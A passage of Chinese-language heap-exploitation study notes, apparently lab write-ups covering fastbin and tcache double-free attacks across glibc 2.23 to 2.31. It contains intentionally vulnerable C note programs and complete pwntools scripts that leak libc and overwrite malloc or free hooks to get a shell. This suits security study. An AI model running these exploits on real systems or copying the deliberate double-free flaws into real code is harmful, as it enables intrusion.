printf("# "); } void create() { int size; if (idx >= 0x20) { return; } printf("size:\n"); scanf("%d", &size); g_ptrs[idx] = malloc(size); g_size[idx] = size; g_used[idx] = 1; printf("Create: g_ptrs[%d]\n", idx); idx++; } void get() { int idx; printf("idx:\n"); scanf("%d", &idx); if (g_used[idx]) { printf("g_ptrs[%d]: %s\n", idx, g_ptrs[idx]); } } void set() { int idx; printf("idx:\n"); scanf("%d", &idx); if (g_used[idx]) { printf("str:\n"); read(0, g_ptrs[idx], g_size[idx]); } } void delete() { int idx; printf("idx:\n"); scanf("%d", &idx); if (g_ptrs[idx]) { free(g_ptrs[idx]); g_used[idx] = 0; } } int main(void) { init(); while(1) { menu(); switch(read_num()) { case 1: create(); break; case 2: get(); break; case 3: set(); break; case 4: delete(); break; case 5: return 0; default: exit(1); } } return 0; } ``` #### 分析 可以輸入1~5,分別對應 ```c void menu() { puts("=== Note System v0.87 ==="); puts("1) Create Note"); puts("2) Get Note"); puts("3) Set Note"); puts("4) Delete Note"); puts("5) Bye"); printf("# "); } ``` > create() -> 1 malloc一個chunk,並可以指定一個size 並且把東西存到這三個global variable ```c char *g_ptrs[0x20]; int g_size[0x20]; int g_used[0x20]; ``` > get() -> 2 先確認該chunk存不存在,以及是否是allocated,你可以指定index,然後給你他的內容 > set() -> 3 先確認該chunk存不存在,以及是否是allocated 指定index,並可以把內容寫進去chunk裡面 > delete -> 4 輸入一個index,若該ptrs存在,則把它free掉,然後把used改成0 ```c if (g_ptrs[idx]) { free(g_ptrs[idx]); g_used[idx] = 0; } ``` 觀察一下這裡,他是去找g_ptrs裡面有沒有然後再free掉,但很顯然的g_ptrs就算你free掉了,也不會把它清掉所以就可以double free 並且打這題目前要有一個先備知識,要怎麼leak libc,我們打算透過fastbin dup來改malloc_hook,那就必須要有libc base,這邊可以用unsorted bin來leak,因為當unsorted bin被free掉時候,fd、bk會指向一個libc address 像是這樣,我先malloc一個 ![image](https://hackmd.io/_uploads/SJX_vpOv0.png) 然後free,就可以發現有了 ![image](https://hackmd.io/_uploads/rk_6Pp_PR.png) 接下來我透過在malloc一次一樣大小的來拿到同一塊,並且fd、bk沒有被清空,用get,就可以把它印出來了 拿offset ![image](https://hackmd.io/_uploads/SkhSB0uPC.png) ``` >>> 0x72db424aab78-0x72db420e6000 3951480 >>> hex(3951480) '0x3c4b78' ``` 目前這樣可以leak libc ```python= from pwn import * DEBUG=input('open debug?(y/n)') if DEBUG=='y': context.log_level = 'debug' context.terminal = ['tmux', 'splitw', '-h'] def create(size): r.sendline(b'1') #print("malloc size: ", size) r.sendline(str(size).encode()) def get(idx): r.sendline(b'2') r.sendline(str(idx).encode()) r.recvuntil(b']: ') chunk_str=r.recvline().strip() return chunk_str def set(index, payload): r.sendline(b'3') r.sendline(str(index).encode()) r.send(payload) def delete(index): r.sendline(b'4') r.sendline(str(index).encode()) r = process('./fastbindup') if DEBUG=='y': gdb.attach(r) offset = 0x3c4b78 create(0x480) #unsorted bin create(0x60) create(0x60) create(0x60) delete(0) #delete unsorted bin -> fd,bk -> libc address create(0x480) #print(len(get(4))) leak_libc=u64(get(4).ljust(8,b'\0')) libc_base=leak_libc-offset print("NAUPINFO @ leak libc : ",hex(leak_libc)) print("NAUPINFO @ libc base : ",hex(libc_base)) r.interactive() ``` 再來就是要寫malloc hook了,這邊先做一件事,我們先到malloc hook去看看 我們需要bypass一個安全機制,較chunk size要一樣 ![image](https://hackmd.io/_uploads/SkGTFRuPC.png) 觀察一下會發現,他有很多0x7c之類的東西 如果能把它當header size(推到header最尾端)就可以bypass 推一下就可以把他推到後面了(malloc hook - 0x33) ![image](https://hackmd.io/_uploads/H12yoA_PR.png) 所以我們應該跳到(malloc hook - 0x23) ![image](https://hackmd.io/_uploads/B11ViCdPA.png) 跳到`libc base + malloc hook offset - 0x23` ![image](https://hackmd.io/_uploads/rJ1hs0_PC.png) bypass 接下來要做fastbin dup ``` chunk 0 -> 0x440 chunk 1 -> 0x70 chunk 2 -> 0x70 chunk 3 -> 0x70 ``` free 1、2 ``` fastbin -> chunk 2 -> chunk 1 ``` 再free 1 ``` fastbin -> chunk 1 -> chunk 2 -> chunk 1 -> chunk 2 -> ... ``` 這邊再free 3 ``` fastbin -> chunk 3 -> chunk 1 -> chunk 2 -> chunk 1 -> chunk 2 -> ... ``` 這邊注意一點,我想把`/bin/sh`寫進去到heap裡面,所以我要先leak heap的位置,這邊可以挑1 或 2,都沒差,反正到時候都用不到,我這邊挑chunk 1,因為我把chunk 3 free掉後fd指向chunk 1,所以我malloc回來get就可以拿到了 ```python from pwn import * DEBUG=input('open debug?(y/n)') if DEBUG=='y': context.log_level = 'debug' context.terminal = ['tmux', 'splitw', '-h'] def create(size): r.sendline(b'1') #print("malloc size: ", size) r.sendline(str(size).encode()) #print(r.recvline()) def get(idx): r.sendline(b'2') r.sendline(str(idx).encode()) r.recvuntil(b']: ') chunk_str=r.recvline().strip() return chunk_str def set(index, payload): r.sendline(b'3') r.sendline(str(index).encode()) r.send(payload) def delete(index): r.sendline(b'4') r.sendline(str(index).encode()) r = process('./fastbindup') if DEBUG=='y': gdb.attach(r) offset = 0x3c4b78 create(0x480) #unsorted bin create(0x60) create(0x60) create(0x60) delete(0) #delete unsorted bin -> fd,bk -> libc address create(0x480) #print(len(get(4))) leak_libc=u64(get(4).ljust(8,b'\0')) libc_base=leak_libc-offset print("NAUPINFO @ leak libc : ",hex(leak_libc)) print("NAUPINFO @ libc base : ",hex(libc_base)) mallochook_offset = 0x3c4b10 malloc_hook = libc_base + mallochook_offset - 0x23 libc_system = 0x0000000000453a0 + libc_base print('NAUPINFO @ MALLOC_HOOK : ',hex(malloc_hook)) delete(1) delete(2) delete(1) # leak chunk 1 delete(3) create(0x60) heap_chunk1 = u64(get(5).ljust(8,b'\0')) print('NAUPINFO @ CHUNK 1 HEAP(/bin/sh chunk) : ',hex(heap_chunk1)) r.interactive() ``` 現在fastbin chain ``` fastbin -> chunk 1 -> chunk 2 -> chunk 1 -> chunk 2 -> ... ``` 先malloc 1(ptr index 6) ``` fastbin -> chunk 2 -> chunk 1 -> chunk 2 -> ... ^ chunk 1 _| chunk 1 (free & allocated) chunk 2 (free) ``` 把chunk 1 寫入 malloc_hook 位置 ``` fastbin -> chunk 2 -> chunk 1 -> malloc_hook chunk 1 (free & allocated) chunk 2 (free) ``` 現在 malloc三次,拿到了 ``` chunk 2(ptr index 7) chunk 1(ptr index 8) malloc_hook(ptr index 9) ``` 把chunk 1寫入`/bin/sh`,`/bin/sh`位置就會在`chunk 1 address + 0x10` 那malloc hook現在到底在哪裡? ``` header 0x10 0x10 0x3 malloc hook ``` 所以你要先padding,`0x13`個a在寫掉malloc hook成system 最後傳入`/bin/sh` ``` malloc("/bin/sh") -> (*__malloc_hook)("/bin/sh") -> system("/bin/sh") ``` #### script ```python= from pwn import * DEBUG=input('open debug?(y/n)') if DEBUG=='y': context.log_level = 'debug' context.terminal = ['tmux', 'splitw', '-h'] def create(size): r.sendline(b'1') #print("malloc size: ", size) r.sendline(str(size).encode()) #print(r.recvline()) def get(idx): r.sendline(b'2') r.sendline(str(idx).encode()) r.recvuntil(b']: ') chunk_str=r.recvline().strip() return chunk_str def set(index, payload): r.sendline(b'3') r.sendline(str(index).encode()) r.send(payload) def delete(index): r.sendline(b'4') r.sendline(str(index).encode()) r = process('./fastbindup') if DEBUG=='y': gdb.attach(r) offset = 0x3c4b78 create(0x480) #unsorted bin create(0x60) create(0x60) create(0x60) delete(0) #delete unsorted bin -> fd,bk -> libc address create(0x480) #print(len(get(4))) leak_libc=u64(get(4).ljust(8,b'\0')) libc_base=leak_libc-offset print("NAUPINFO @ leak libc : ",hex(leak_libc)) print("NAUPINFO @ libc base : ",hex(libc_base)) mallochook_offset = 0x3c4b10 malloc_hook = libc_base + mallochook_offset - 0x23 libc_system = 0x453a0 + libc_base print('NAUPINFO @ MALLOC_HOOK : ',hex(malloc_hook)) delete(1) delete(2) delete(1) # leak chunk 1 delete(3) create(0x60) heap_chunk1 = u64(get(5).ljust(8,b'\0')) print('NAUPINFO @ CHUNK 1 HEAP(/bin/sh chunk) : ',hex(heap_chunk1)) create(0x60) r.sendline(b'3') r.sendline(b'6') r.sendline(p64(malloc_hook)) print('NAUPINFO @ Write Chunk 1 : ',hex(u64(get(6).ljust(8,b'\0')))) create(0x60) # chunk 2(ptr index 7) create(0x60) # chunk 1(ptr index 8) create(0x60) # malloc_hook(ptr index 9) set(8,b'/bin/sh') write_malloc_hook_payload = b'a' * 0x13 + p64(libc_system) r.sendline(b'3') r.sendline(b'9') r.sendline(write_malloc_hook_payload) create(heap_chunk1+0x10) r.interactive() ``` ## Tcache bin dup(Glibc 2.26~2.28) 基本上跟Fastbin dup很像,但換成了Tcache Glibc 2.27沒有檢查鍊表上第一個是不是現在要free掉的chunk,所以可以直接連續free兩次chunk不會有問題 另外注意,chunk fd指的是data 如果是glibc 2.28後加入了key會被寫成Tcache相關東西 ### 流程 ``` Chunk 1(malloc) ``` free掉chunk 1 ``` Tcache -> Chunk 1 ``` 再free一次 ``` Tcache -> Chunk 1 -> Chunk 1 -> Chunk 1 -> ... ``` malloc拿到chunk 1並改寫fd ``` Tcache -> Chunk 1 -> Pwn_chunk ``` malloc兩次就可以拿到你要寫的東西了 #### demo ```c= #include <stdio.h> #include <stdlib.h> // Testing in libc-2.27 // gcc tcache_dup.c -o tcache_dup char *g_ptrs; int g_size; int g_used; void init() { setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); } int read_num() { int num; scanf("%d", &num); return num; } void menu() { puts("=== Note System v0.087 ==="); puts("1) Create Note"); puts("2) Get Note"); puts("3) Set Note"); puts("4) Delete Note"); puts("5) Bye"); printf("# "); } void create() { int size; printf("size:\n"); scanf("%d", &size); g_ptrs = malloc(size); g_size = size; g_used = 1; } void get() { if (g_used) { printf("g_ptrs: %s\n", g_ptrs); } } void set() { if (g_used) { printf("str:\n"); read(0, g_ptrs, g_size); } } void delete() { if (g_ptrs) { free(g_ptrs); g_used = 0; } } int main(void) { init(); char name[100]; puts("Name:"); read(0, name, 0x100); printf("Hello, %s\n", name); while(1) { menu(); switch(read_num()) { case 1: create(); break; case 2: get(); break; case 3: set(); break; case 4: delete(); break; case 5: return 0; default: exit(1); } } return 0; } ``` #### 分析 這邊踩了一個坑,就是我們使用的的docker Glibc雖然是2.27,但是2.27保護機制跟裸奔一樣,所以有patch上保護,在2.27-3Ubuntu1.3加入key機制,所以我這邊找了比較舊的libc來patch上 ``` LD: patchelf --set-interpreter ./ld-2.23.so tcachedup LIBC: patchelf --replace-needed libc.so.6 ./libc_32.so.6 tcachedup ``` 首先先觀察一下,會發現這題跟原本很像,主要有兩個不同 第一個是這,這裡有BOF跟partial overwrite ```c char name[100]; puts("Name:"); read(0, name, 0x100); printf("Hello, %s\n", name); ``` 第二個不同是,原本的ptr array變成了變數,一次只能操作當前最新malloc的chunk 首先我們先leak libc,蓋0x78個a+一個\n會蓋到stack上的libc前面,printf會把它印出來,之後offset用動態抓扣出來 ![image](https://hackmd.io/_uploads/SJsAe9cvA.png) ![image](https://hackmd.io/_uploads/rkazxc9PA.png) 我們可以看到double free完後他變成了一個指向自己的循環 ``` tcache bin -> chunk 1 -> chunk 1 -> ... ``` ![image](https://hackmd.io/_uploads/Bkr-6F5vR.png) 目前腳本 ```python= from pwn import * DEBUG=input('open debug?(y/n)') if DEBUG=='y': context.log_level = 'debug' context.terminal = ['tmux', 'splitw', '-h'] r=process('./tcachedup') if DEBUG=='y': gdb.attach(r) # leak libc r.send(b'a'*0x78) r.recvuntil(b'a'*0x78) offset = 0x21b97 leak_libc=u64(r.recvline().strip().ljust(8,b'\0')) libc_base=leak_libc-offset print('NAUPINFO @ leak libc: ',hex(leak_libc)) print('NAUPINFO @ libc base: ',hex(libc_base)) # tcache dup def create(size): r.sendline(b'1') r.sendline(str(size).encode()) def get(): r.sendline(b'2') r.recvuntil(b'g_ptrs: ') return r.recvline().strip() def set(val): r.sendline(b'3') r.send(val) def delete(): r.sendline(b'4') create(0x30) delete() delete() create(0x30) r.interactive() ``` 接下來malloc會拿到chunk 1 之後我們先找兩個東西的offset,free hook(0x3ebc30)跟system(0x4f440) 我們把malloc的fd改成free hook,如圖已經改寫成功,所以tcache bin變成 ``` tcache bin -> chunk 1 -> free hook ``` ![image](https://hackmd.io/_uploads/B1Tbnq9wC.png) create兩次拿到free hook,寫入system,之後直接malloc一塊,把記憶體寫成/bin/sh,這樣就會有一個`free(ptr)`,ptr->/bin/sh ``` free("/bin/sh") -> (*__free_hook)("/bin/sh") -> system("/bin/sh") ``` #### script ```python= from time import * from pwn import * DEBUG=input('open debug?(y/n)') if DEBUG=='y': context.log_level = 'debug' context.terminal = ['tmux', 'splitw', '-h'] r=process('./tcachedup') if DEBUG=='y': gdb.attach(r) # leak libc r.send(b'a'*0x78) r.recvuntil(b'a'*0x78) offset = 0x21b97 leak_libc=u64(r.recvline().strip().ljust(8,b'\0')) libc_base=leak_libc-offset print('NAUPINFO @ leak libc: ',hex(leak_libc)) print('NAUPINFO @ libc base: ',hex(libc_base)) # tcache dup def create(size): sleep(0.1) r.sendline(b'1') r.sendline(str(size).encode()) def get(): sleep(0.1) r.sendline(b'2') r.recvuntil(b'g_ptrs: ') return r.recvline().strip() def set(val): sleep(0.1) r.sendline(b'3') r.send(val) def delete(): sleep(0.1) r.sendline(b'4') free_hook_offset = 0x3ed8e8 system_offset = 0x4f440 free_hook = free_hook_offset + libc_base libc_system = system_offset + libc_base #print('NAUPINFO @ free_hook: ',hex(free_hook)) #print('NAUPINFO @ system: ',hex(libc_system)) create(0x30) delete() delete() create(0x30) set(p64(free_hook)) create(0x30) create(0x30) set(p64(libc_system)) create(0x40) r.sendline(b'3') r.sendline(b'/bin/sh\0') delete() r.interactive() ``` 備註: 可以加個sleep,這樣就不會送太快導致一些問題 ## large bin(Glibc 2.23) ### source code ![image](https://hackmd.io/_uploads/ryPD-E-uC.png) ## glibc 2.31機制及保護 這版本引入了Tcache key的安全機制,在free之前會檢查key ### __libc_malloc https://elixir.bootlin.com/glibc/glibc-2.31/source/malloc/malloc.c#L3021 ```c void * __libc_malloc (size_t bytes) { mstate ar_ptr; void *victim; _Static_assert (PTRDIFF_MAX <= SIZE_MAX / 2, "PTRDIFF_MAX is not more than half of SIZE_MAX"); void *(*hook) (size_t, const void *) = atomic_forced_read (__malloc_hook); if (__builtin_expect (hook != NULL, 0)) return (*hook)(bytes, RETURN_ADDRESS (0)); #if USE_TCACHE /* int_free also calls request2size, be careful to not pad twice. */ size_t tbytes; if (!checked_request2size (bytes, &tbytes)) { __set_errno (ENOMEM); return NULL; } size_t tc_idx = csize2tidx (tbytes); MAYBE_INIT_TCACHE (); DIAG_PUSH_NEEDS_COMMENT; if (tc_idx < mp_.tcache_bins && tcache && tcache->counts[tc_idx] > 0) { return tcache_get (tc_idx); } DIAG_POP_NEEDS_COMMENT; #endif if (SINGLE_THREAD_P) { victim = _int_malloc (&main_arena, bytes); assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || &main_arena == arena_for_chunk (mem2chunk (victim))); return victim; } arena_get (ar_ptr, bytes); victim = _int_malloc (ar_ptr, bytes); /* Retry with another arena only if we were able to find a usable arena before. */ if (!victim && ar_ptr != NULL) { LIBC_PROBE (memory_malloc_retry, 1, bytes); ar_ptr = arena_get_retry (ar_ptr, bytes); victim = _int_malloc (ar_ptr, bytes); } if (ar_ptr != NULL) __libc_lock_unlock (ar_ptr->mutex); assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || ar_ptr == arena_for_chunk (mem2chunk (victim))); return victim; } libc_hidden_def (__libc_malloc) ``` ### __libc_free https://elixir.bootlin.com/glibc/glibc-2.31/source/malloc/malloc.c#L3085 ```c void __libc_free (void *mem) { mstate ar_ptr; mchunkptr p; /* chunk corresponding to mem */ void (*hook) (void *, const void *) = atomic_forced_read (__free_hook); if (__builtin_expect (hook != NULL, 0)) { (*hook)(mem, RETURN_ADDRESS (0)); return; } if (mem == 0) /* free(0) has no effect */ return; p = mem2chunk (mem); if (chunk_is_mmapped (p)) /* release mmapped memory. */ { /* See if the dynamic brk/mmap threshold needs adjusting. Dumped fake mmapped chunks do not affect the threshold. */ if (!mp_.no_dyn_threshold && chunksize_nomask (p) > mp_.mmap_threshold && chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX && !DUMPED_MAIN_ARENA_CHUNK (p)) { mp_.mmap_threshold = chunksize (p); mp_.trim_threshold = 2 * mp_.mmap_threshold; LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2, mp_.mmap_threshold, mp_.trim_threshold); } munmap_chunk (p); return; } MAYBE_INIT_TCACHE (); ar_ptr = arena_for_chunk (p); _int_free (ar_ptr, p, 0); } libc_hidden_def (__libc_free) ``` ### malloc-tcache 安全機制 無檢測 ### free-tcache 安全機制 #### glibc 2.31 > free(): double free detected in tcache 2 tcache裡面的chunk,bk會放tcache key,在free的時候會去檢查 可以透過UAF蓋掉tcache key,或是把tcache打滿七個去打fastbin #### glibc 2.32 > free(): unaligned chunk detected in tcache 2 tcache key引入加密機制,會檢查解密結果是否正確 #### glibc 2.35 > free(): too many chunks detected in tcache 遍歷所有tcache chunk並計算數量,最後與mp_.tcache_count比較,若小於則crash,防止對tcache->counts[tc_idx]竄改 ### malloc-fastbin #### all > malloc(): memory corruption (fast) #### glibc 2.32 > malloc(): unaligned fastbin chunk detected 1/2/3 https://www.yizishun.com/index.php/2024/02/10/glibc-2-31-malloc%E7%9B%B8%E5%85%B3%E6%BA%90%E7%A0%81%E5%88%9D%E6%8E%A2/#int_malloc_han_shu_he_int_free_han_shu ### free-fastbin > free(): invalid next size (fast) > double free or corruption (fasttop) > invalid fastbin entry (free) ### Unlink > corrupted size vs. prev_size > corrupted double-linked list > corrupted double-linked list (not small) ### malloc-unsorted bin ### ref https://www.yizishun.com/index.php/2024/02/10/glibc-2-31-malloc%E7%9B%B8%E5%85%B3%E6%BA%90%E7%A0%81%E5%88%9D%E6%8E%A2/ https://bestwing.me/Education_Heap_Exploit_glibc_2.31.html ## Tcache dup(glibc 2.31) ### demo #### source code ```c= #include <stdio.h> #include <stdlib.h> // Testing in libc-2.31 // gcc fastbin_dup.c -o fastbin_dup char *g_ptrs[0x20]; int g_size[0x20]; int g_used[0x20]; int idx = 0; void init() { setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); } int read_num() { int num; scanf("%d", &num); return num; } void menu() { puts("=== Note System v1.87 ==="); puts("1) Create Note"); puts("2) Create Note in NEW way"); puts("3) Get Note"); puts("4) Set Note"); puts("5) Delete Note"); puts("6) Bye"); printf("# "); } void create() { int size; if (idx >= 0x20) { return; } printf("size:\n"); scanf("%d", &size); g_ptrs[idx] = malloc(size); g_size[idx] = size; g_used[idx] = 1; printf("Create: g_ptrs[%d]\n", idx); idx++; } void create2() { int size; if (idx >= 0x20) { return; } printf("size:\n"); scanf("%d", &size); g_ptrs[idx] = calloc(1, size); g_size[idx] = size; g_used[idx] = 1; printf("Create: g_ptrs[%d]\n", idx); idx++; } void get() { int idx; printf("idx:\n"); scanf("%d", &idx); if (g_used[idx]) { printf("g_ptrs[%d]: %s\n", idx, g_ptrs[idx]); } } void set() { int idx; printf("idx:\n"); scanf("%d", &idx); if (g_used[idx]) { printf("str:\n"); read(0, g_ptrs[idx], g_size[idx]); } } void delete() { int idx; printf("idx:\n"); scanf("%d", &idx); if (g_ptrs[idx]) { free(g_ptrs[idx]); g_used[idx] = 0; } } int main(void) { init(); while(1) { menu(); switch(read_num()) { case 1: create(); break; case 2: create2(); break; case 3: get(); break; case 4: set(); break; case 5: delete(); break; case 6: return 0; default: exit(1); } } return 0; } ``` #### 分析 可以做這些 ```c= void menu() { puts("=== Note System v1.87 ==="); puts("1) Create Note"); puts("2) Create Note in NEW way"); puts("3) Get Note"); puts("4) Set Note"); puts("5) Delete Note"); puts("6) Bye"); printf("# "); } ``` 這邊可以發現他有兩種create,malloc跟calloc,這裡有個重點,就是calloc拿到的chunk不會是從tcache裡面拿 剩下就是常規操作,可以拿到chunk內容、設定chunk內容、刪掉chunk 現在版本是glibc 2.31,所以說會有tcache key來防double free ![image](https://hackmd.io/_uploads/HyuoeieOR.png) 我們可以透過把tcache塞滿,讓chunk進到fastbin來做操作,這樣就可以做fastbin dup 那我們先leak libc,這邊用unsorted bin,先malloc一個大chunk,然後delete在malloc,就可以讀出fd的libc ```python= from pwn import * DEBUG=input('open debug?(y/n)') if DEBUG=='y': context.log_level = 'debug' context.terminal = ['tmux', 'splitw', '-h'] r=process('./fastbin_dup') def create1(size): r.sendlineafter(b'#',b'1') r.sendlineafter(b'size:',str(size).encode()) def create2(size): r.sendlineafter(b'#',b'2') r.sendlineafter(b'size',str(size).encode()) def get(index): r.sendlineafter(b'#',b'3') r.sendlineafter(b'idx:',str(index).encode()) r.recvuntil(b']: ') rec=r.recvline().strip() #print(rec) return rec def set(index, chunkstr): r.sendlineafter(b'#',b'4') r.sendlineafter(b'idx:',str(index).encode()) r.sendafter(b'str',chunkstr) def delete(index): r.sendlineafter(b'#',b'5') r.sendlineafter(b'idx:' , str(index).encode()) if DEBUG=='y': gdb.attach(r) create1(0x440) #idx 0 for i in range(7): #idx 1~7 create1(0x60) delete(0) create1(0x440) #id 8 leak_libc=u64(get(8).ljust(8,b'\0')) libc_offset=0x1ecbe0 libc_base=leak_libc-libc_offset print("NAUPINFO @ LEAK LIBC: ",hex(leak_libc)) print("NAUPINFO @ LIBC BASE: ",hex(libc_base)) r.interactive() ``` 再來刪掉7個chunk塞滿tcache bin 剩下的就會進到fastbin,來bypass key檢查,接下來就是fastbindup 申請兩塊chunk(chunk 1 -> idx 9、chunk 2 -> idx 10) 然後 delete chunk 1 delete chunk 2 delete chunk 1 ``` fastbin -> chunk 1 -> chunk 2 -> chunk 1 -> ... ``` calloc拿到chunk 1(idx 11) 寫入malloc_hook ``` fastbin -> chunk 2 -> chunk 1 -> malloc hook ``` 寫到這裡偽造chunk(現在的fastbin又變回了指向header) ![image](https://hackmd.io/_uploads/SkwCwjx_A.png) ![image](https://hackmd.io/_uploads/BJFBjolO0.png) 之後在malloc_hook寫入one gadget,之後呼叫malloc就可以跳到onegadget了 get shell~ #### script ```python= from pwn import * DEBUG=input('open debug?(y/n)') if DEBUG=='y': context.log_level = 'debug' context.terminal = ['tmux', 'splitw', '-h'] r=process('./fastbin_dup') def create1(size): r.sendlineafter(b'#',b'1') r.sendlineafter(b'size:',str(size).encode()) def create2(size): r.sendlineafter(b'#',b'2') r.sendlineafter(b'size',str(size).encode()) def get(index): r.sendlineafter(b'#',b'3') r.sendlineafter(b'idx:',str(index).encode()) r.recvuntil(b']: ') rec=r.recvline().strip() #print(rec) return rec def set(index, chunkstr): r.sendlineafter(b'#',b'4') r.sendlineafter(b'idx:',str(index).encode()) r.sendafter(b'str',chunkstr) def delete(index): r.sendlineafter(b'#',b'5') r.sendlineafter(b'idx:' , str(index).encode()) if DEBUG=='y': gdb.attach(r) create1(0x440) #idx 0 for i in range(7): #idx 1~7 create1(0x60) delete(0) create1(0x440) #idx 8 leak_libc=u64(get(8).ljust(8,b'\0')) libc_offset=0x1ecbe0 libc_base=leak_libc-libc_offset print("NAUPINFO @ LEAK LIBC: ",hex(leak_libc)) print("NAUPINFO @ LIBC BASE: ",hex(libc_base)) for i in range(1,8): delete(i) create2(0x60) #idx 9 create2(0x60) #idx 10 delete(9) delete(10) delete(9) create2(0x60) #idx 11 malloc_hook_offset=0x1ecb70 libc_malloc_hook=libc_base+malloc_hook_offset print("NAUPINFO @ MALLOC HOOK: ",hex(libc_malloc_hook)) malloc_hook_chunk=libc_malloc_hook-0x33 print("NAUPINFO @ MALLOC HOOK CHUNK: ",hex(malloc_hook_chunk)) set(11,p64(malloc_hook_chunk)) create2(0x60) #idx 12 create2(0x60) #idx 13 create2(0x60) #idx 14 onegadget=0xe3b01+libc_base print("NAUPINFO @ ONE GADGET: ",hex(onegadget)) set(14,b'a'*0x23+p64(onegadget)) create1(0x40) r.interactive() ``` #### 另外解法 這邊嘗試用另外一種解法,就是把malloc hook改成system,然後把其中一個位置寫成/bin/sh傳入(另外還要leak libc、leak heap) ## consolidate 共有三種合併方式 - forward consolidate - backward consolidate - malloc consolidate 若要將兩塊free chunk合併可以採用,調整一塊大小,並把另外一塊從鍊表中移掉 (backward consolidate) ![image](https://hackmd.io/_uploads/ByNjYOivC.png) 接下來可以看到下面的unsafe unlink,來看攻擊手法 ### source code(Glibc 2.31) https://elixir.bootlin.com/glibc/glibc-2.31/source/malloc/malloc.c#L4326 ```c /* consolidate backward */ if (!prev_inuse(p)) { prevsize = prev_size (p); size += prevsize; p = chunk_at_offset(p, -((long) prevsize)); if (__glibc_unlikely (chunksize(p) != prevsize)) malloc_printerr ("corrupted size vs. prev_size while consolidating"); unlink_chunk (av, p); } ``` https://elixir.bootlin.com/glibc/glibc-2.31/source/malloc/malloc.c#L1451 ```c /* Take a chunk off a bin list. */ static void unlink_chunk (mstate av, mchunkptr p) { if (chunksize (p) != prev_size (next_chunk (p))) malloc_printerr ("corrupted size vs. prev_size"); mchunkptr fd = p->fd; mchunkptr bk = p->bk; if (__builtin_expect (fd->bk != p || bk->fd != p, 0)) malloc_printerr ("corrupted double-linked list"); fd->bk = bk; bk->fd = fd; if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL) { if (p->fd_nextsize->bk_nextsize != p || p->bk_nextsize->fd_nextsize != p) malloc_printerr ("corrupted double-linked list (not small)"); if (fd->fd_nextsize == NULL) { if (p->fd_nextsize == p) fd->fd_nextsize = fd->bk_nextsize = fd; else { fd->fd_nextsize = p->fd_nextsize; fd->bk_nextsize = p->bk_nextsize; p->fd_nextsize->bk_nextsize = fd; p->bk_nextsize->fd_nextsize = fd; } } else { p->fd_nextsize->bk_nextsize = p->bk_nextsize; p->bk_nextsize->fd_nextsize = p->fd_nextsize; } } } ``` ### how2heap(glibc 2.23 fastbindup consolidate) ```c #include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <string.h> int main() { void* p1 = malloc(0x10); strcpy(p1, "AAAAAAAA"); void* p2 = malloc(0x10); strcpy(p2, "BBBBBBBB"); fprintf(stderr, "申請兩個 fastbin 範圍內的 chunk: p1=%p p2=%p\n", p1, p2); fprintf(stderr, "先 free p1\n"); free(p1); void* p3 = malloc(0x400); fprintf(stderr, "去申請 largebin 大小的 chunk,觸發 malloc_consolidate(): p3=%p\n", p3); fprintf(stderr, "因為 malloc_consolidate(), p1 會被放到 unsorted bin 中\n"); free(p1); fprintf(stderr, "這時候 p1 不在 fastbin 鏈表的頭部了,所以可以再次 free p1 造成 double free\n"); void* p4 = malloc(0x10); strcpy(p4, "CCCCCCC"); void* p5 = malloc(0x10); strcpy(p5, "DDDDDDDD"); fprintf(stderr, "現在 fastbin 和 unsortedbin 中都放著 p1 的指針,所以我們可以 malloc 兩次都到 p1: %p %p\n", p4, p5); } ``` ## tcache overlap 讓不同的chunk發生重疊的狀況 假設chunk A 的data跟chunk B不可寫部份發生重疊可能發生問題 ### source code(glibc 2.23) https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L4001 這邊看看backward consolidate source code ```c static void malloc_consolidate(mstate av) { mfastbinptr* fb; /* current fastbin being consolidated */ mfastbinptr* maxfb; /* last fastbin (for loop control) */ mchunkptr p; /* current chunk being consolidated */ mchunkptr nextp; /* next chunk to consolidate */ mchunkptr unsorted_bin; /* bin header */ mchunkptr first_unsorted; /* chunk to link to */ /* These have same use as in free() */ mchunkptr nextchunk; INTERNAL_SIZE_T size; INTERNAL_SIZE_T nextsize; INTERNAL_SIZE_T prevsize; int nextinuse; atomic_store_relaxed (&av->have_fastchunks, false); unsorted_bin = unsorted_chunks(av); /* Remove each chunk from fast bin and consolidate it, placing it then in unsorted bin. Among other reasons for doing this, placing in unsorted bin avoids needing to calculate actual bins until malloc is sure that chunks aren't immediately going to be reused anyway. */ maxfb = &fastbin (av, NFASTBINS - 1); fb = &fastbin (av, 0); do { p = atomic_exchange_acq (fb, NULL); if (p != 0) { do { { unsigned int idx = fastbin_index (chunksize (p)); if ((&fastbin (av, idx)) != fb) malloc_printerr ("malloc_consolidate(): invalid chunk size"); } check_inuse_chunk(av, p); nextp = p->fd; /* Slightly streamlined version of consolidation code in free() */ size = chunksize (p); nextchunk = chunk_at_offset(p, size); nextsize = chunksize(nextchunk); if (!prev_inuse(p)) { prevsize = prev_size (p); size += prevsize; p = chunk_at_offset(p, -((long) prevsize)); if (__glibc_unlikely (chunksize(p) != prevsize)) malloc_printerr ("corrupted size vs. prev_size in fastbins"); unlink_chunk (av, p); } if (nextchunk != av->top) { nextinuse = inuse_bit_at_offset(nextchunk, nextsize); if (!nextinuse) { size += nextsize; unlink_chunk (av, nextchunk); } else clear_inuse_bit_at_offset(nextchunk, 0); first_unsorted = unsorted_bin->fd; unsorted_bin->fd = p; first_unsorted->bk = p; if (!in_smallbin_range (size)) { p->fd_nextsize = NULL; p->bk_nextsize = NULL; } set_head(p, size | PREV_INUSE); p->bk = unsorted_bin; p->fd = first_unsorted; set_foot(p, size); } else { size += nextsize; set_head(p, size | PREV_INUSE); av->top = p; } } while ( (p = nextp) != 0); } } while (fb++ != maxfb); } ``` 2.31後會多檢查prev size跟chunk size大小是否一樣,這邊則沒有 接下來一樣進入unlink 後面都一樣,詳情見下方unlink ### how2heap(glibc 2.23) ```c /* 這是一個簡單的重疊區塊故事。 這個技巧來自 http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf */ #include <stdio.h> #include <stdlib.h> #include 